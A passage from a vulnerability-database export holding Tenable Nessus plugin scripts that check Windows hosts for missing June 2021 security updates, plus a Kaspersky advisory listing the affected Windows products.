script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-31956\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-31962\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/06/08\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-06';\nkbs = make_list(\n '5003687'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win10:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'10', \n sp:0,\n os_build:'10240',\n rollup_date:'06_2021',\n bulletin:bulletin,\n rollup_kb_list:[5003687])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-16T14:27:20", "description": "The remote Windows host is missing security update 5003635. It is, therefore, affected by multiple vulnerabilities", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-08T00:00:00", "type": "nessus", "title": "KB5003635: Windows 10 version 1909 Security Update (June 2021)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-26414", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31951", "CVE-2021-31952", "CVE-2021-31954", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31958", "CVE-2021-31959", "CVE-2021-31962", "CVE-2021-31968", "CVE-2021-31969", "CVE-2021-31970", "CVE-2021-31971", "CVE-2021-31972", "CVE-2021-31973", "CVE-2021-31974", "CVE-2021-31975", "CVE-2021-31976", "CVE-2021-31977", "CVE-2021-33739", "CVE-2021-33742"], "modified": "2023-02-15T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_JUN_5003635.NASL", "href": "https://www.tenable.com/plugins/nessus/150369", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(150369);\n script_version(\"1.15\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/02/15\");\n\n script_cve_id(\n \"CVE-2021-1675\",\n \"CVE-2021-26414\",\n \"CVE-2021-31199\",\n \"CVE-2021-31201\",\n \"CVE-2021-31951\",\n \"CVE-2021-31952\",\n \"CVE-2021-31954\",\n \"CVE-2021-31955\",\n \"CVE-2021-31956\",\n \"CVE-2021-31958\",\n \"CVE-2021-31959\",\n \"CVE-2021-31962\",\n \"CVE-2021-31968\",\n \"CVE-2021-31969\",\n \"CVE-2021-31970\",\n \"CVE-2021-31971\",\n \"CVE-2021-31972\",\n \"CVE-2021-31973\",\n \"CVE-2021-31974\",\n \"CVE-2021-31975\",\n \"CVE-2021-31976\",\n \"CVE-2021-31977\",\n \"CVE-2021-33739\",\n \"CVE-2021-33742\"\n );\n script_xref(name:\"MSKB\", value:\"5003635\");\n script_xref(name:\"MSFT\", value:\"MS21-5003635\");\n script_xref(name:\"IAVA\", value:\"2021-A-0280-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0279-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0032\");\n\n script_name(english:\"KB5003635: Windows 10 version 1909 Security Update (June 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5003635. It is, therefore, affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/help/5003635\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Cumulative Update 5003635\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-31956\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-31962\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:\"CANVAS\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/06/08\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-06';\nkbs = make_list(\n '5003635'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win10:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'10', \n sp:0,\n os_build: '18363',\n rollup_date:'06_2021',\n bulletin:bulletin,\n rollup_kb_list:[5003635])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-16T14:27:53", "description": "The remote Windows host is missing security update 5003637. It is, therefore, affected by multiple vulnerabilities", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-08T00:00:00", "type": "nessus", "title": "KB5003637: Windows 10 version 2004 / Windows 10 version 20H2 / Windows 10 version 21H1 Security Update (June 2021)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-26414", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31951", "CVE-2021-31952", "CVE-2021-31954", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31958", "CVE-2021-31959", "CVE-2021-31960", "CVE-2021-31962", "CVE-2021-31968", "CVE-2021-31969", "CVE-2021-31970", "CVE-2021-31971", "CVE-2021-31972", "CVE-2021-31973", "CVE-2021-31974", "CVE-2021-31975", "CVE-2021-31976", "CVE-2021-31977", "CVE-2021-33739", "CVE-2021-33742"], "modified": "2023-02-15T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_JUN_5003637.NASL", "href": "https://www.tenable.com/plugins/nessus/150370", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(150370);\n script_version(\"1.15\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/02/15\");\n\n script_cve_id(\n \"CVE-2021-1675\",\n \"CVE-2021-26414\",\n \"CVE-2021-31199\",\n \"CVE-2021-31201\",\n \"CVE-2021-31951\",\n \"CVE-2021-31952\",\n \"CVE-2021-31954\",\n \"CVE-2021-31955\",\n \"CVE-2021-31956\",\n \"CVE-2021-31958\",\n \"CVE-2021-31959\",\n \"CVE-2021-31960\",\n \"CVE-2021-31962\",\n \"CVE-2021-31968\",\n \"CVE-2021-31969\",\n \"CVE-2021-31970\",\n \"CVE-2021-31971\",\n \"CVE-2021-31972\",\n \"CVE-2021-31973\",\n \"CVE-2021-31974\",\n \"CVE-2021-31975\",\n \"CVE-2021-31976\",\n \"CVE-2021-31977\",\n \"CVE-2021-33739\",\n \"CVE-2021-33742\"\n );\n script_xref(name:\"MSKB\", value:\"5003637\");\n script_xref(name:\"MSFT\", value:\"MS21-5003637\");\n script_xref(name:\"IAVA\", value:\"2021-A-0280-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0279-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0032\");\n\n script_name(english:\"KB5003637: Windows 10 version 2004 / Windows 10 version 20H2 / Windows 10 version 21H1 Security Update (June 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5003637. It is, therefore, affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/help/5003637\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Cumulative Update 5003637\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-31956\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-31962\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:\"CANVAS\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/06/08\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-06';\nkbs = make_list(\n '5003637'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win10:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'10', \n sp:0,\n os_build:'19041',\n rollup_date:'06_2021',\n bulletin:bulletin,\n rollup_kb_list:[5003637])\n\n|| smb_check_rollup(os:'10', \n sp:0,\n os_build:'19042',\n rollup_date:'06_2021',\n bulletin:bulletin,\n rollup_kb_list:[5003637])\n\n|| smb_check_rollup(os:'10', \n sp:0,\n os_build:'19043',\n rollup_date:'06_2021',\n bulletin:bulletin,\n rollup_kb_list:[5003637])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-16T14:27:53", "description": "The remote Windows host is missing security update 5003646. It is, therefore, affected by multiple vulnerabilities", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-08T00:00:00", "type": "nessus", "title": "KB5003646: Windows 10 version 1809 / Windows Server 2019 Security Update (June 2021)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-26414", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31951", "CVE-2021-31952", "CVE-2021-31953", "CVE-2021-31954", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31958", "CVE-2021-31959", "CVE-2021-31962", "CVE-2021-31968", "CVE-2021-31969", "CVE-2021-31970", "CVE-2021-31971", "CVE-2021-31972", "CVE-2021-31973", "CVE-2021-31974", "CVE-2021-31975", "CVE-2021-31976", "CVE-2021-31977", "CVE-2021-33742"], "modified": "2023-02-15T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_JUN_5003646.NASL", "href": "https://www.tenable.com/plugins/nessus/150374", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(150374);\n script_version(\"1.15\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/02/15\");\n\n script_cve_id(\n \"CVE-2021-1675\",\n \"CVE-2021-26414\",\n \"CVE-2021-31199\",\n \"CVE-2021-31201\",\n \"CVE-2021-31951\",\n \"CVE-2021-31952\",\n \"CVE-2021-31953\",\n \"CVE-2021-31954\",\n \"CVE-2021-31955\",\n \"CVE-2021-31956\",\n \"CVE-2021-31958\",\n \"CVE-2021-31959\",\n \"CVE-2021-31962\",\n \"CVE-2021-31968\",\n \"CVE-2021-31969\",\n \"CVE-2021-31970\",\n \"CVE-2021-31971\",\n \"CVE-2021-31972\",\n \"CVE-2021-31973\",\n \"CVE-2021-31974\",\n \"CVE-2021-31975\",\n \"CVE-2021-31976\",\n \"CVE-2021-31977\",\n \"CVE-2021-33742\"\n );\n script_xref(name:\"MSKB\", value:\"5003646\");\n script_xref(name:\"MSFT\", value:\"MS21-5003646\");\n script_xref(name:\"IAVA\", value:\"2021-A-0280-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0279-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0032\");\n\n script_name(english:\"KB5003646: Windows 10 version 1809 / Windows Server 2019 Security Update (June 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5003646. It is, therefore, affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/help/5003646\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Cumulative Update 5003646\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-31956\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-31962\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/06/08\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-06';\nkbs = make_list(\n '5003646'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win10:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'10', \n sp:0,\n os_build:'17763',\n rollup_date:'06_2021',\n bulletin:bulletin,\n rollup_kb_list:[5003646])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "kaspersky": [{"lastseen": "2023-03-21T08:24:11", "description": "### *Detect date*:\n06/08/2021\n\n### *Severity*:\nCritical\n\n### *Description*:\nMultiple vulnerabilities were found in Microsoft Products (Extended Security Update). Malicious users can exploit these vulnerabilities to gain privileges, execute arbitrary code, cause denial of service, bypass security restrictions.\n\n### *Exploitation*:\nMalware exists for this vulnerability. Usually such malware is classified as Exploit. [More details](<https://threats.kaspersky.com/en/class/Exploit/>).\n\n### *Affected products*:\nWindows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) \nWindows 10 for x64-based Systems \nWindows 10 Version 1809 for x64-based Systems \nWindows 8.1 for 32-bit systems \nWindows 10 Version 1809 for ARM64-based Systems \nWindows 10 Version 20H2 for ARM64-based Systems \nWindows 10 Version 1909 for ARM64-based Systems \nWindows 10 Version 1607 for x64-based Systems \nWindows 10 Version 20H2 for 32-bit Systems \nWindows Server, version 2004 (Server Core installation) \nWindows 10 Version 1909 for 32-bit Systems \nWindows 10 Version 2004 for x64-based Systems \nWindows Server 2019 (Server Core installation) \nWindows Server 2012 R2 (Server Core installation) \nWindows Server 2008 for x64-based Systems Service Pack 2 \nWindows 10 Version 21H1 for 32-bit Systems \nWindows 10 Version 1909 for x64-based Systems \nWindows 10 Version 21H1 for ARM64-based Systems \nWindows Server 2012 \nWindows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) \nWindows 10 Version 21H1 for x64-based Systems \nWindows Server 2012 (Server Core installation) \nWindows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) \nWindows RT 8.1 \nWindows 7 for 32-bit Systems Service Pack 1 \nWindows 10 for 32-bit Systems \nWindows Server 2019 \nWindows 10 Version 1607 for 32-bit Systems \nWindows Server 2016 \nWindows Server 2008 for 32-bit Systems Service Pack 2 \nWindows 10 Version 1809 for 32-bit Systems \nWindows 10 Version 20H2 for x64-based Systems \nWindows 10 Version 2004 for ARM64-based Systems \nWindows 10 Version 2004 for 32-bit Systems \nWindows Server 2012 R2 \nWindows Server 2016 (Server Core installation) \nWindows Server 2008 R2 for x64-based Systems Service Pack 1 \nWindows 7 for x64-based Systems Service Pack 1 \nWindows Server, version 20H2 (Server Core Installation) \nWindows 8.1 for x64-based systems\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2021-31956](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31956>) \n[CVE-2021-31973](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31973>) \n[CVE-2021-33742](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-33742>) \n[CVE-2021-31954](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31954>) \n[CVE-2021-31201](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31201>) \n[CVE-2021-31199](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31199>) \n[CVE-2021-1675](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-1675>) \n[CVE-2021-31953](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31953>) \n[CVE-2021-31968](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31968>) \n[CVE-2021-31958](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31958>) \n[CVE-2021-31971](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31971>) \n[CVE-2021-26414](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-26414>) \n[CVE-2021-31959](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31959>) \n[CVE-2021-31962](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31962>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Microsoft Windows](<https://threats.kaspersky.com/en/product/Microsoft-Windows/>)\n\n### *Microsoft official advisories*:\n\n\n### *KB list*:\n[5003695](<http://support.microsoft.com/kb/5003695>) \n[5003636](<http://support.microsoft.com/kb/5003636>) \n[5003661](<http://support.microsoft.com/kb/5003661>) 